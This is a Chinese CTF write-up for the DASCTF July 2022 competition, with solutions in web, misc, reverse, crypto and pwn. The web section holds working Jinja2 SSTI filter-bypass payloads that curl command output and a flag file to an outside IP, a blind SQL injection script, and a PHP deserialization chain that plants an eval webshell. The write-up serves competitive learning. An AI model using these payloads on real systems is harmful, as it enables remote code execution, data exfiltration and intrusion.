队伍名称

TeamGipsy

排名

解题思路

WEB

Ez to getflag

img

直接搜索/flag,得到flag

Harddisk

复现

过滤了亿个字符,甚至x|g两个字母也被过滤了(人心险恶

一些关键词可以利用unicode编码绕过,因为print被过滤了所以这里的用curl外带。但是没有打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{%set%0apo=dict(po=a,p=a)|join%}
{%set%0appp=dict(po=a,pen=a)|join%}
{%set%0ahua="\u005f"%}
{%set%0aa="\u0067\u006c\u006f\u0062\u0061\u006c\u0073"%}
{%set%0ab=(hua,hua,a,hua,hua)|join%}
{%set%0ao=dict(o=a,s=a)|join%}
{%set%0aca=dict(ca=a,t=a)|join%}
{%set%0aaop="\u0069\u006e\u0064\u0065\u0078"%}
{%set%0abin=(hua,hua,dict(built=a,ins=a)|join,hua,hua)|join%0a%}
{%set%0acr=dict(ch=a,r=a)|join%}
{%set%0ae="\u0067\u0065\u0074"%}
{%set%0alo="\u0067\u006c\u006f\u0062\u0061\u006c\u0073"%}
{%set%0aals=(hua,hua,lo,hua,hua)|join%}
{%set%0achcr=(lipsum|attr(b))|attr(e)(bin)|attr(e)(cr)%}
{%set%0af=chcr(47)%}
{%set%0ard=dict(re=a,ad=a)|join%}
{%set%0aspace=chcr(32)%0a%}
{%set%0apt=chcr(46)%}
{%set%0afll="\u0066\u006c\u0061\u0067"%}
{%set%0amh=":"%}
{%set%0atest=dict(whoami=a)|join%}
{%set%0aw=lipsum|attr(als)|attr(e)(o)|attr(ppp)(test)|attr(rd)()%}
{%set%0acmd=(dict(curl=a)|join,space,dict(http=a)|join,mh,f,f,82,pt,156,pt,2,pt,166,mh,5657,f,w)|join%}
{%set%0ashell=(lipsum|attr(als))|attr(e)(o)|attr(ppp)(cmd)%}

别的师傅的正确的payload(能理解,但是没想到🥀:

1
{%if(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0038\u0032\u002e\u0031\u0035\u0036\u002e\u0032\u002e\u0031\u0036\u0036\u003a\u0032\u0033\u0033\u0033\u002f\u0060\u0063\u0061\u0074\u0020\u002f\u0066\u0031\u0061\u0067\u0067\u0067\u0067\u0068\u0065\u0072\u0065\u0020\u007c\u0062\u0061\u0073\u0065\u0036\u0034\u0060"))%}test{%endif%}

利用万能for循环构造payload

https://www.cnblogs.com/hetianlab/p/14154635.html

1
 {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{%endif%}{% endif %}{% endfor %}

注意中间的{{……}}需要改成{%……%},unicode编码绕过,用__getitem__代替中括号

相应的payload类似:

1
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}

所以需要构造的payload为(注意eval处也要加上:

1
 {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__.__getitem__(__builtins__).__getitem(eval)("__import__('os').popen('whoami').read()") }}{%endif%}{% endif %}{% endfor %}

构造最终payload:

1
{%for%0ac%0ain%0a""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%if%0a(c|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f"))=="\u0063\u0061\u0074\u0063\u0068\u005f\u0077\u0061\u0072\u006e\u0069\u006e\u0067\u0073"%}{%if%0a(c|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0065\u0076\u0061\u006c")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0038\u0032\u002e\u0031\u0035\u0036\u002e\u0032\u002e\u0031\u0036\u0036\u003a\u0032\u0033\u0033\u0033\u002f\u0060\u0077\u0068\u006f\u0061\u006d\u0069\u0060\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029")%}aaa{%%0aendif%0a%}{%%0aendif%0a%}{%%0aendfor%0a%}

绝对防御

复现

从js文件中发现 SUPERAPI.php

查看源码可以发现存在id参数,存在sql注入,前面过滤了一些特殊符号但是bp传输可以发现前端会跳转但是这里不会,说明那些过滤一点用都没有

img

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time

url = "http://c13ddec7-2847-49da-a9ac-5fa290687898.node4.buuoj.cn:81/SUPPERAPI.php?id="

flag = ''

for i in range(1, 50):
left = 32
right = 126
mid = (left + right) // 2
while left < right:
time.sleep(0.1)
# payload = "1 and ascii(substr((database()),{},1))>{}".format(i, mid)
# payload = "1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{},1))>{}".format(i, mid)
# payload = "1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(
# i, mid)
payload = "1 and ascii(substr((select group_concat(password) from users where username='flag'),{},1))>{}".format(
i, mid)
r = requests.get(url+payload)
if 'admin' in r.text:
left = mid + 1
else:
right = mid
mid = (left + right) // 2
flag += chr(mid)
print(flag)

Newser

复现

  • php引用绕过wakeup | 闭包函数的反序列化

DASCTF|2022DASCTF7月赋能赛官方Write Up (qq.com)

源码

查看Cookie发现存在user值,base64解码之后是User类序列化之后的字符串,想着能不能从User#__destruct 入手,但是没找到存在__get的原生类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

class User
{
protected $_password;
protected $_username;
private $username;
private $password;
private $email;
private $instance;

public function __construct($username,$password,$email)
{
$this->email = $email;
$this->username = $username;
$this->password = $password;
$this->instance = $this;
}

/**
* @return mixed
*/
public function getEmail()
{
return $this->email;
}

/**
* @return mixed
*/
public function getPassword()
{
return $this->password;
}

/**
* @return mixed
*/
public function getUsername()
{
return $this->username;
}

public function __sleep()
{
$this->_password = md5($this->password);
$this->_username = base64_encode($this->username);
return ['_username','_password', 'email','instance'];
}

public function __wakeup()
{
$this->password = $this->_password;
}

public function __destruct()
{
echo "User ".$this->instance->_username." has created.";
}
}

学习学习学习!!!

存在composer.json 泄露,fakerphp/faker 依赖不是很熟悉,但是opis/closure 的相关知识在之前做过一点分析直接用composer导入两个依赖

1
2
3
4
5
6
{
"require": {
"fakerphp/faker": "^1.19",
"opis/closure": "^3.6"
}
}

导入:

1
2
composer require fakerphp/faker
composer require opis/closure

接下去就是先审计了,前面卡在了没找到存在可利用的__get 魔术方法的原生类,那么现在再全局搜索一下

Generator类中存在可利用的,在format方法中调用到call_user_func_array,但是类里面又有__wakeup使得formatters 数组被清空,因此我们需要绕过这个点,其实这个在之前nepnep中遇到过类似的,额,应该说是一模一样,也就是Laravel 9.1.8 其中一条的链子,

https://xz.aliyun.com/t/11362#toc-10

Untitled

那么只要把$this->formatters 为我们可控属性的引用,那么当我们的修改该值的时候相应的也会修改$this->formatters 从而绕过wakeup。而User类在反序列化的时候__wakeup魔术方法中会修改$this->password = $this->_password; ,而$this->_password 又是我们可控的,而User#__wakeup 又是在最后才会调用,所以就能实现对$this->formatters 的修改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function __get($attribute)
{
trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute);

return $this->format($attribute);
}

public function format($format, $arguments = [])
{
return call_user_func_array($this->getFormatter($format), $arguments);
}

public function getFormatter($format)
{
if (isset($this->formatters[$format])) {
return $this->formatters[$format];
}
……
}

public function __wakeup()
{
$this->formatters = [];
}

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace {
use Faker\Generator;
class User{
protected $_password;
public $password;
private $instance;
public function __construct()
{
$this->instance = new Generator($this);
$this->_password = ["_username"=>"phpinfo"];
}
}

echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"), serialize(new User())));
}

namespace Faker {

class Generator {
protected $formatters = [];
public function __construct($user)
{
$this->formatters = &$user->password;
}
}
}

Untitled

但是参数我们不可控,不过既然存在闭包函数反序列化的依赖,那就直接利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
namespace {
use Faker\Generator;
class User{
protected $_password;
public $password;
private $instance;
public function __construct()
{
require('vendor/opis/closure/autoload.php');
$a = function(){
eval($_POST['ameuu']);
};
$b = \Opis\Closure\serialize($a);
$this->instance = new Generator($this);
$this->_password = ["_username"=>unserialize($b)];
}
}

echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"), serialize(new User())));
}

namespace Faker {

class Generator {
protected $formatters = [];
public function __construct($user)
{
$this->formatters = &$user->password;
}
}
}

Untitled

MISC

ez_forenisc

先挂载爆破出Bitlock的秘钥

img

打开之后,发现一个cipher跟txt,txt没用,cipher里面是一个图片,zsteg分析后,有一个zip,用zsteg提取出来

img

得到一个压缩包

img

然后去找登录密码

取证大师直接梭

得到

550f37c7748e

然后解压,再那去看,有事一个key,估计还有东西没找到

img

查看屏幕截图,发现还有一个thes3cret

img

dump下来

img

一串base,可以先拿去解密,已经可以猜到是aes了

img

看到是Salted开头,确定是aes,然后解密得到flag

img

1
DASCTF{2df05d6846ea7a0ba948da44daa7dc88}

Colorful Strips(赛后复现)

转灰度,用jio转,试了下ps要调参数,否则会丢失色彩信息,参数可以调,但试了下很模糊,等预期解吧

1
2
3
4
5
import cv2 as cv
import matplotlib.pyplot as plt
img = cv.imread('flag.jpg', 0)
plt.imshow(img, 'gray')
plt.show()

img

听说你是个侦探(赛后复现)

可以爆破密码,写个字典,最后跑出来ICYBETRAYALS

然后根据提示,试了下盲水印但是不行,最后敏感的察觉一下文件名,异或,很无语

img

前面改成DASCTF就行

REVERSE

隐秘的角落

关键函数main_checkflag,输入经过rc4加密后和main_enc进行校验,密钥main_enc_key:thisiskkk

main_init_0中对main_enc进行初始化异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64
def rc4_main(key = "init_key", message = "init_message"):
s_box = rc4_init_sbox(key)
crypt = rc4_excrypt(message, s_box)
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
plain = base64.b64decode(plain.encode('utf-8'))
plain = bytes.decode(plain)
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("解密后的字符串是:%s" %cipher)
print('\n')
return cipher
a=[0xD8, 0xE5, 0x85, 0xBE, 0xE7, 0xF8, 0x58, 0x75, 0x95, 0x65,
0x85, 0xE3, 0xA6, 0x47, 0x59, 0xB9, 0x14, 0x6F, 0x33, 0xB5,
0xCA, 0x84, 0x0B, 0xE7, 0x92, 0x0E, 0xD2, 0xFD, 0x64, 0x18,
0x96, 0xD0, 0x0F, 0x5E, 0x44, 0x3E]
for i in range(len(a)):
a[i]^=0x23
key="thisiskkk"
s=""
for i in a:
s+=chr(i)
s=str(base64.b64encode(s.encode('utf-8')), 'utf-8')
rc4_main(key, s)

#56e83694-f976-11eb-b343-faffc201c8e0

imgimg

CRYPTO

babysign

已知r,s,nonce,msg,orderk = nonces = k^{-1} * (msg + r*secret)\% order

其中order​为固定值

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
import ecdsa
from Crypto.Util.number import *
r = int('7b35712a50d463ac5acf7af1675b4b63ba0da23b6452023afddd58d4891ef6e5', 16)
s = int('a452fc44cc36fa6964d1b4f47392ff0a91350cfd58f11a4645c084d56e387e5c', 16)
nonce = 57872441580840888721108499129165088876046881204464784483281653404168342111855
msg = b'welcome to ecdsa'
msg = int(hashlib.sha256(msg).hexdigest(), 16)
gen = ecdsa.NIST256p.generator
order = gen.order()
secret = (s * nonce - msg) * inverse(r, order) % order
print(b'DASCTF{' + long_to_bytes(secret) + b'}')
# b'DASCTF{11b7311d4f0137074a7256d3eb82f368}'

easyNTRU

n=10​很小直接爆破m

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Hash import SHA3_256
from Crypto.Cipher import AES
c = b'\xb9W\x8c\x8b\x0cG\xde\x7fl\xf7\x03\xbb9m\x0c\xc4L\xfe\xe9Q\xad\xfd\xda!\x1a\xea@}U\x9ay4\x8a\xe3y\xdf\xd5BV\xa7\x06\xf9\x08\x96="f\xc1\x1b\xd7\xdb\xc1j\x82F\x0b\x16\x06\xbcJMB\xc8\x80'
R.<x> = ZZ[]
import itertools
t = [1, 0, -1]
for i in itertools.product(t,repeat=10):
m = list(i)
m = R(m)
sha3 = SHA3_256.new()
sha3 = sha3.update(bytes(str(m).encode('utf-8')))
key = sha3.digest()
cypher = AES.new(key, AES.MODE_ECB)
m = cypher.decrypt(c)
if b'DASCTF' in m:
print(m)
# b'DASCTF{b437acf4-aaf8-4f8f-ad84-5b1824f5af9c}\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14'

NTRURSA

先多项式RSA分解求hint(h)​,然后​NTRU​g1,最后爆破rangg,之后就是普通的ras。脚本网上都有,拿来用就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *
p= 64621
P = PolynomialRing(Zmod(p), name = 'x')
x = P.gen()
e = 0x10001
n = 25081*x^175 + 8744*x^174 + 9823*x^173 + 9037*x^172 + 6343*x^171 + 42205*x^170 + 28573*x^169 + 55714*x^168 + 17287*x^167 + 11229*x^166 + 42630*x^165 + 64363*x^164 + 50759*x^163 + 3368*x^162 + 20900*x^161 + 55947*x^160 + 7082*x^159 + 23171*x^158 + 48510*x^157 + 20013*x^156 + 16798*x^155 + 60438*x^154 + 58779*x^153 + 9289*x^152 + 10623*x^151 + 1085*x^150 + 23473*x^149 + 13795*x^148 + 2071*x^147 + 31515*x^146 + 42832*x^145 + 38152*x^144 + 37559*x^143 + 47653*x^142 + 37371*x^141 + 39128*x^140 + 48750*x^139 + 16638*x^138 + 60320*x^137 + 56224*x^136 + 41870*x^135 + 63961*x^134 + 47574*x^133 + 63954*x^132 + 9668*x^131 + 62360*x^130 + 15244*x^129 + 20599*x^128 + 28704*x^127 + 26857*x^126 + 34885*x^125 + 33107*x^124 + 17693*x^123 + 52753*x^122 + 60744*x^121 + 21305*x^120 + 63785*x^119 + 54400*x^118 + 17812*x^117 + 64549*x^116 + 20035*x^115 + 37567*x^114 + 38607*x^113 + 32783*x^112 + 24385*x^111 + 5387*x^110 + 5134*x^109 + 45893*x^108 + 58307*x^107 + 33821*x^106 + 54902*x^105 + 14236*x^104 + 58044*x^103 + 41257*x^102 + 46881*x^101 + 42834*x^100 + 1693*x^99 + 46058*x^98 + 15636*x^97 + 27111*x^96 + 3158*x^95 + 41012*x^94 + 26028*x^93 + 3576*x^92 + 37958*x^91 + 33273*x^90 + 60228*x^89 + 41229*x^88 + 11232*x^87 + 12635*x^86 + 17942*x^85 + 4*x^84 + 25397*x^83 + 63526*x^82 + 54872*x^81 + 40318*x^80 + 37498*x^79 + 52182*x^78 + 48817*x^77 + 10763*x^76 + 46542*x^75 + 36060*x^74 + 49972*x^73 + 63603*x^72 + 46506*x^71 + 44788*x^70 + 44905*x^69 + 46112*x^68 + 5297*x^67 + 26440*x^66 + 28470*x^65 + 15525*x^64 + 11566*x^63 + 15781*x^62 + 36098*x^61 + 44402*x^60 + 55331*x^59 + 61583*x^58 + 16406*x^57 + 59089*x^56 + 53161*x^55 + 43695*x^54 + 49580*x^53 + 62685*x^52 + 31447*x^51 + 26755*x^50 + 14810*x^49 + 3281*x^48 + 27371*x^47 + 53392*x^46 + 2648*x^45 + 10095*x^44 + 25977*x^43 + 22912*x^42 + 41278*x^41 + 33236*x^40 + 57792*x^39 + 7169*x^38 + 29250*x^37 + 16906*x^36 + 4436*x^35 + 2729*x^34 + 29736*x^33 + 19383*x^32 + 11921*x^31 + 26075*x^30 + 54616*x^29 + 739*x^28 + 38509*x^27 + 19118*x^26 + 20062*x^25 + 21280*x^24 + 12594*x^23 + 14974*x^22 + 27795*x^21 + 54107*x^20 + 1890*x^19 + 13410*x^18 + 5381*x^17 + 19500*x^16 + 47481*x^15 + 58488*x^14 + 26433*x^13 + 37803*x^12 + 60232*x^11 + 34772*x^10 + 1505*x^9 + 63760*x^8 + 20890*x^7 + 41533*x^6 + 16130*x^5 + 29769*x^4 + 49142*x^3 + 64184*x^2 + 55443*x + 45925
c = 19921*x^174 + 49192*x^173 + 18894*x^172 + 61121*x^171 + 50271*x^170 + 11860*x^169 + 53128*x^168 + 38658*x^167 + 14191*x^166 + 9671*x^165 + 40879*x^164 + 15187*x^163 + 33523*x^162 + 62270*x^161 + 64211*x^160 + 54518*x^159 + 50446*x^158 + 2597*x^157 + 32216*x^156 + 10500*x^155 + 63276*x^154 + 27916*x^153 + 55316*x^152 + 30898*x^151 + 43706*x^150 + 5734*x^149 + 35616*x^148 + 14288*x^147 + 18282*x^146 + 22788*x^145 + 48188*x^144 + 34176*x^143 + 55952*x^142 + 9578*x^141 + 9177*x^140 + 22083*x^139 + 14586*x^138 + 9748*x^137 + 21118*x^136 + 155*x^135 + 64224*x^134 + 18193*x^133 + 33732*x^132 + 38135*x^131 + 51992*x^130 + 8203*x^129 + 8538*x^128 + 55203*x^127 + 5003*x^126 + 2009*x^125 + 45023*x^124 + 12311*x^123 + 21428*x^122 + 24110*x^121 + 43537*x^120 + 21885*x^119 + 50212*x^118 + 40445*x^117 + 17768*x^116 + 46616*x^115 + 4771*x^114 + 20903*x^113 + 47764*x^112 + 13056*x^111 + 50837*x^110 + 22313*x^109 + 39698*x^108 + 60377*x^107 + 59357*x^106 + 24051*x^105 + 5888*x^104 + 29414*x^103 + 31726*x^102 + 4906*x^101 + 23968*x^100 + 52360*x^99 + 58063*x^98 + 706*x^97 + 31420*x^96 + 62468*x^95 + 18557*x^94 + 1498*x^93 + 17590*x^92 + 62990*x^91 + 27200*x^90 + 7052*x^89 + 39117*x^88 + 46944*x^87 + 45535*x^86 + 28092*x^85 + 1981*x^84 + 4377*x^83 + 34419*x^82 + 33754*x^81 + 2640*x^80 + 44427*x^79 + 32179*x^78 + 57721*x^77 + 9444*x^76 + 49374*x^75 + 21288*x^74 + 44098*x^73 + 57744*x^72 + 63457*x^71 + 43300*x^70 + 1508*x^69 + 13775*x^68 + 23197*x^67 + 43070*x^66 + 20751*x^65 + 47479*x^64 + 18496*x^63 + 53392*x^62 + 10387*x^61 + 2317*x^60 + 57492*x^59 + 25441*x^58 + 52532*x^57 + 27150*x^56 + 33788*x^55 + 43371*x^54 + 30972*x^53 + 39583*x^52 + 36407*x^51 + 35564*x^50 + 44564*x^49 + 1505*x^48 + 47519*x^47 + 38695*x^46 + 43107*x^45 + 1676*x^44 + 42057*x^43 + 49879*x^42 + 29083*x^41 + 42241*x^40 + 8853*x^39 + 33546*x^38 + 48954*x^37 + 30352*x^36 + 62020*x^35 + 39864*x^34 + 9519*x^33 + 24828*x^32 + 34696*x^31 + 2387*x^30 + 27413*x^29 + 55829*x^28 + 40217*x^27 + 30205*x^26 + 42328*x^25 + 6210*x^24 + 52442*x^23 + 58495*x^22 + 2014*x^21 + 26452*x^20 + 33547*x^19 + 19840*x^18 + 5995*x^17 + 16850*x^16 + 37855*x^15 + 7221*x^14 + 32200*x^13 + 8121*x^12 + 23767*x^11 + 46563*x^10 + 51673*x^9 + 19372*x^8 + 4157*x^7 + 48421*x^6 + 41096*x^5 + 45735*x^4 + 53022*x^3 + 35475*x^2 + 47521*x + 27544
#分解N
q1, q2 = n.factor()
q1, q2 = q1[0], q2[0]
#求φ,注意求法,
phi = (p**q1.degree() - 1) * (p**q2.degree() - 1)
assert gcd(e, phi) == 1
d = inverse_mod(e, phi)
m = pow(c,d,n)
h = ''
for i in range(77):
h+=str(m[i])
h = int(h)
p = 106472061241112922861460644342336453303928202010237284715354717630502168520267
c = 20920247107738496784071050239422540936224577122721266141057957551603705972966457203177812404896852110975768315464852962210648535130235298413611598658659777108920014929632531307409885868941842921815735008981335582297975794108016151210394446009890312043259167806981442425505200141283138318269058818777636637375101005540308736021976559495266332357714
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
f, g1 = m.LLL()[0]

g1 = 228679177303871981036829786447405151037
n = 31398174203566229210665534094126601315683074641013205440476552584312112883638278390105806127975406224783128340041129316782549009811196493319665336016690985557862367551545487842904828051293613836275987595871004601968935866634955528775536847402581734910742403788941725304146192149165731194199024154454952157531068881114411265538547462017207361362857
for i in range(2^20):
q = g1 ^^ i
if n % q == 0:
p = n // q
phi = (p-1) * (q-1)
d = inverse(0x10001,phi)
print(long_to_bytes(int(pow(c,d,n))))
# b'DASCTF{P01yn0m141RS4_W17h_NTRU}'

LWE?(复现)

LWE? GGH?用Babai的算法好像通吃?(198×200的矩阵LLL要一点点的时间)
b = x*A+b*Y+z*C+e可以看成b = secret*D+e,即将x,y,z;A,B,C拼起来,酱紫看起来就像GGH的形式了;但转化一下行和列又能有b' = D'*secret+e,酱紫看来又好像是LWE了。

道理我不懂,脚本我会用

反正Babai算法和Nguyen’s Attack算法都可解

img

DASCTF{dcf41556-c194-4c66-9092-059e0bf8b84e}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# 跑个半小时?
from sage.modules.free_module_integer import IntegerLattice

m = 66
n = 200
p = 3
q = 2 ^ 20
f = open('out', 'r')
A = []
B = []
C = []
f.readline()
for j in range(m):
x = f.readline().replace(' ', ' ').replace(' ', ' ').replace(' ', ' ').replace('\n', '').replace(' ', ',')
if x[1] == ',':
x = x[0] + x[2:]
x = eval(x)
A.append(x)
f.readline()
for j in range(m):
x = f.readline().replace(' ', ' ').replace(' ', ' ').replace(' ', ' ').replace('\n', '').replace(' ', ',')
if x[1] == ',':
x = x[0] + x[2:]
x = eval(x)
B.append(x)
f.readline()
for j in range(m):
x = f.readline().replace(' ', ' ').replace(' ', ' ').replace(' ', ' ').replace('\n', '').replace(' ', ',')
if x[1] == ',':
x = x[0] + x[2:]
x = eval(x)
C.append(x)
f.close()
b = (
-19786291, -713104590, 79700973, 23261288, 203038164, 430352288, 147848301, 633183638, 188651439, 243206160, -654830271,
335642059, -100511588, 180023362, 130607831, 227597861, 188424473, 175518170, -246987997, 180879649, 421934976,
-227575274, -628937118, 5466646, -254939474, -438417079, 150434624, 327054986, 163561829, 816959939, -265298657,
82651050, 176899880, 174020455, -419656325, -101606182, 300413909, 237169571, -589213744, 121803611, -38080334,
-255712509, -133782964, 106220001, 195767251, -397096116, -583305587, -182462561, -271478737, -32014717, 114385188,
437506115, -1165732, 179349265, -77761751, -233976783, 410153356, 476453640, 91892631, -242168750, 506769243,
-384438362, 131852532, 586202810, 376719791, 578215353, 874304742, 163584566, 434260863, 98013671, 213627784, 59622886,
-84912852, 156744856, 169652328, 178143615, 400046730, 408163110, -357990863, -269552089, -199410809, 187503858,
-853206157, 134901027, 313984185, -162544217, -69722073, 43817388, -47389463, 210346729, -46516961, 72002967, 327714191,
45052266, 1010509210, 110937225, 448179404, 341448936, 446550865, 221914340, -804918424, -12007071, 151215468,
440279795, -73408566, -112121988, 40294376, 283179449, -193812410, -30061804, 20326854, 65412625, -260020045,
-570090340, 1546454, 548030557, 618148316, 290333796, 665474379, 301709165, -104726821, -503111899, 480689642,
-331192606, -518345784, -314602459, 25354403, 410995568, 179675848, -207010027, 400838662, 125916880, 501112567,
578261227, 24802586, 493171331, 383306766, -390093502, -389822626, -303615722, 20813851, -399678371, -566907567,
-432647113, -280465568, 1002042393, -510901339, 316603766, -139701243, 211217523, 108545545, -12948109, -569199543,
37065919, -150542603, 417851006, -470173530, -628557669, -128339015, -427978763, 381402990, 205835334, -30976552,
-357466556, -104985580, -115366372, 296031071, -8036087, 79340491, 650365147, 295521125, 885900267, 133049758,
217970062, 237420894, 358760095, -2684469, 475711698, 316770575, -25024622, -193442003, 200260606, 89183826, 567491985,
726371428, 222116554, 87397506, -29529094, 125968479, -50793004, 218035181, -210376687, 1025673749, -262390458,
467412984, -71097225, 259125517, -337232810, 143359550, 27115363)

D = matrix(ZZ, 66*3, 200)
for i in range(66):
for j in range(200):
D[i,j] = A[i][j]
for i in range(66):
for j in range(200):
D[i+66,j] = B[i][j]
for i in range(66):
for j in range(200):
D[i+66*2,j] = C[i][j]


e = vector(b)
W = matrix(D)
def babai(A, w):
A = A.LLL()
G = A.gram_schmidt()[0]
t = w
for i in reversed(range(A.nrows())):
c = ((t * G[i]) / (G[i] * G[i])).round()
t -= A[i] * c
return w - t
V = babai(W,e)
m = V/W

flag = ''
for i in m:
flag += chr(i)
print(flag)

不过用下面这种好像要快亿点(大概1分半)

小注意:

  • solve_left()方法好像要一个方方正正的矩阵所以改成了198×198的矩阵
  • 利用Nguyen’s Attack算法,不过这里的delta变成了1,加密代码中的errorV由img组成,与GGH加密中的误差向量取3或-3相对比,delta自然变成了1。
  • 原GGH加密中的误差向量取3或-3,这里取的-1,0,1,m解出来存在误差,四舍五入一下就好了
  • 参考:GYCTF 2020 - GGH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 数据导入省略
c = vector(ZZ, b)[:198]
# B = matrix(ZZ, D)
B = matrix(ZZ, 198, 198)
for i in range(198):
B[i] = D[i][:198]
n = 198
delta = 1
s = vector(ZZ, [delta]*n)
B6 = B.change_ring(Zmod(2*delta))
left = (c + s).change_ring(Zmod(2*delta))
m6 = (B6.solve_left(left)).change_ring(ZZ)
new_c = (c - m6*B) * 2 / (2*delta)

# embedded technique
new_B = (B*2).stack(new_c).augment(vector(ZZ, [0]*n + [1]))
new_B = new_B.change_ring(ZZ)

new_B_BKZ = new_B.BKZ()
shortest_vector = new_B_BKZ[0]
mbar = (B*2).solve_left(new_c - shortest_vector[:-1])
m = mbar * (2*delta) + m6
flag = ''
for i in m:
flag += chr(round(i))
print(flag)

pwn

eyfor

输入size的时候有一个整数溢出,所以通过栈溢出就能完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#encoding: utf-8
#!/usr/bin/python
from pwn import*
import sys
#context.log_level = "debug"
context.arch="amd64"
binary_name = "pwn4"
libc_name = "libc-2.31.so"
ld_name = "ld"
local = 1
version = "9.9"
elf =ELF("./"+binary_name)
libc = ELF("/home/nelson/Desktop/glibc/{}/{}/{}".format(libc_name,version,libc_name))
#ld = ELF("./"+ld_name)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr))
ia = lambda :io.interactive()
if local==1:
io = remote("node4.buuoj.cn",26010)
else:
io = process("./"+binary_name)

def debug():
gdb.attach(io,'''
b *0x00400805
''')
pause()
pop_rdi_ret = 0x0000000000400983
pop_rsi_r15_ret = 0x0000000000400981
ret = 0x000000000040063e
leave_addr=0x0400914
bss_addr = 0x006010C0
system_plt = 0x0400680
payload = b'a'*30+p64(bss_addr)+p64(leave_addr)

sla("go",payload)
